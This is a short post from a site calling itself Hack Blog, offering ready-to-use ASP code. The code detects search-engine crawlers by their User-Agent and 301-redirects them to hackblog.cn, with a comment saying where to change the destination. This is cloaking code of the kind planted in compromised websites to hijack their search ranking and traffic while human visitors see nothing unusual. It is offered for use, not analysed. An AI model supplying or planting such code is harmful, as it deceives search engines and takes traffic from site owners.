asp代码

<%
Function GetLocationURL() 
Dim Url 
Dim ScriptName,QueryString 
ScriptName = Request.ServerVariables("SCRIPT_NAME") 
QueryString = Request.ServerVariables("QUERY_STRING")
if ScriptName = "/index.asp" then
	if QueryString = "" then
		GetLocationURL = "/"
	else
		GetLocationURL = ScriptName&"?"&QueryString
	end if
else
	if QueryString = "" then
		GetLocationURL = ScriptName
	else
		GetLocationURL = ScriptName&"?"&QueryString  
	end if
end if

End Function 
 
If isspider() then
    Response.Status="301 Moved Permanently"
    Response.AddHeader "Location","http://www.hackblog.cn"& GetLocationURL() '在这里修改要跳转到的网页
    Response.End
End if
 
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360")
isspider = false
for i=0 to ubound(searray)
 if (instr(agent,searray(i))>0) then isspider=true
next
end function
 
%>

本文由Hack Blog原创,如需转载注明原文链接